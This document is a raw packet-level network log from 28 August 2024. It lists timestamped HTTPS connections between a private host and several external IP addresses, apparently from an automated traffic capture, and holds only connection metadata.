Aug 28, 2024 22:20:53.155602932 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:53.155668020 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:53.155742884 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:53.167390108 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:53.167423010 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:53.584259033 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.584281921 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.584285975 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.584307909 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.584320068 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.584330082 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.584341049 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.584355116 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.584417105 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.585807085 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.585846901 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.585885048 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.585901976 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.585912943 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.632307053 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.639703989 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.639743090 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.639811993 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.640007019 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.640018940 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.697525978 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.697539091 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.697575092 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.697596073 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.697622061 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.697638988 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.697688103 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.697688103 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.700143099 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.700180054 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.700239897 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.700278997 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.700290918 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.709959984 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:53.709989071 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:53.744163036 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:53.744247913 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:53.869473934 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:53.869513988 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:53.869890928 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:53.870093107 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:53.877437115 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:53.924503088 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009218931 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009267092 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009282112 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009295940 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009306908 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009310007 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009349108 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009394884 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009430885 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009440899 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009455919 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009470940 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009521008 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009526014 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009567022 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009819031 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009856939 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009864092 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009872913 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.009906054 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009948969 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.009953976 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.010030031 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.010973930 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.011017084 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.011022091 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.011055946 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.026206970 CEST	49737	443	192.168.2.16	13.107.5.88
Aug 28, 2024 22:20:54.026247978 CEST	443	49737	13.107.5.88	192.168.2.16
Aug 28, 2024 22:20:54.313510895 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:54.313806057 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:54.313823938 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:54.314861059 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:54.314930916 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:54.316090107 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:54.316160917 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:54.316262960 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:54.316270113 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:54.358073950 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:55.424573898 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:55.424603939 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:55.424748898 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:55.425055981 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:55.425067902 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:55.948755026 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.948772907 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.948781013 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.948818922 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.948849916 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.948849916 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:55.948864937 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.948882103 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:55.948931932 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:55.949644089 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.949676991 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.949718952 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:55.949724913 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:55.949736118 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:55.949816942 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.049572945 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.049592018 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.049705982 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.049717903 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.049781084 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.049823999 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.049901962 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.049931049 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.049949884 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.050602913 CEST	49739	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.050617933 CEST	443	49739	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.071613073 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.071649075 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.071964979 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.072164059 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.072171926 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.086358070 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.086415052 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.086532116 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.090102911 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.090123892 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.111012936 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.111057997 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.111226082 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.111262083 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.111268997 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.111324072 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.111589909 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.111609936 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.111732006 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.111743927 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.112730980 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.112742901 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.112983942 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.113178968 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:56.113193035 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:56.212342978 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:56.212435007 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:56.217818022 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:56.217827082 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:56.217956066 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:56.217962027 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:56.218105078 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:56.218170881 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:56.445174932 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:56.445236921 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:56.445241928 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:56.445298910 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:56.445780993 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:56.445796967 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:57.631052017 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631072044 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631314039 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.631321907 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631436110 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.631455898 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631690979 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631808996 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631824017 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631877899 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.631911039 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631922007 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.631982088 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.631997108 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.632210016 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.632272959 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.632355928 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.632368088 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.632489920 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.632548094 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.632564068 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.632699966 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.632914066 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.632965088 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.632975101 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.633059025 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.633069992 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.633131027 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.633291006 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.633362055 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.633656025 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.633724928 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.633969069 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.634036064 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.634104013 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.634108067 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.634273052 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.635200977 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.635210037 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.680505037 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.680510044 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.681057930 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.681063890 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.681088924 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:57.681116104 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:57.729058027 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.043313980 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.043554068 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.043576956 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.043597937 CEST	443	49743	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.043675900 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.043675900 CEST	49743	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.110125065 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.111577988 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.111718893 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.111861944 CEST	49744	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.111876965 CEST	443	49744	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.127274036 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.127310038 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.127542019 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.127674103 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.127686024 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.199275970 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.199297905 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.199305058 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.199341059 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.199363947 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.199392080 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.199400902 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.199420929 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.247091055 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.301666975 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.301682949 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.301731110 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.301757097 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.301762104 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.301772118 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.301825047 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.301825047 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.404392004 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.404411077 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.404635906 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.404644012 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.404712915 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.404752016 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.404836893 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.404863119 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.405210018 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.405215979 CEST	443	49742	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.405282974 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.405296087 CEST	49742	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.781656027 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.786398888 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.786436081 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.787470102 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.790388107 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.806108952 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.806211948 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.808084011 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.808098078 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.864397049 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.922156096 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.922180891 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.922197104 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.922262907 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.922278881 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.922346115 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.923526049 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.923543930 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.923614979 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.923620939 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.923680067 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.949631929 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.949666023 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.949723959 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.949870110 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.949877977 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.949994087 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.950047970 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.950084925 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.950288057 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.950320005 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.950330019 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.950892925 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.950900078 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:59.951122999 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:59.951138020 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.023756981 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.023773909 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.023850918 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.023864985 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.024030924 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.025140047 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.025204897 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.025223017 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.025249004 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.025295973 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.025577068 CEST	49745	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.025590897 CEST	443	49745	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.612011909 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.612303019 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.612329006 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.613358974 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.613436937 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.614772081 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.614847898 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.614944935 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.614950895 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.622925997 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.623145103 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.623169899 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.624167919 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.624243975 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.624485970 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.624557972 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.624578953 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.625849962 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.626028061 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.626034975 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.627293110 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.627399921 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.627671003 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.627779961 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.627780914 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.658118010 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.668509960 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.672513962 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.674098015 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.674113035 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.674146891 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.674170017 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.722081900 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.722084999 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.919039965 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.919336081 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.919372082 CEST	443	49748	185.225.69.39	192.168.2.16
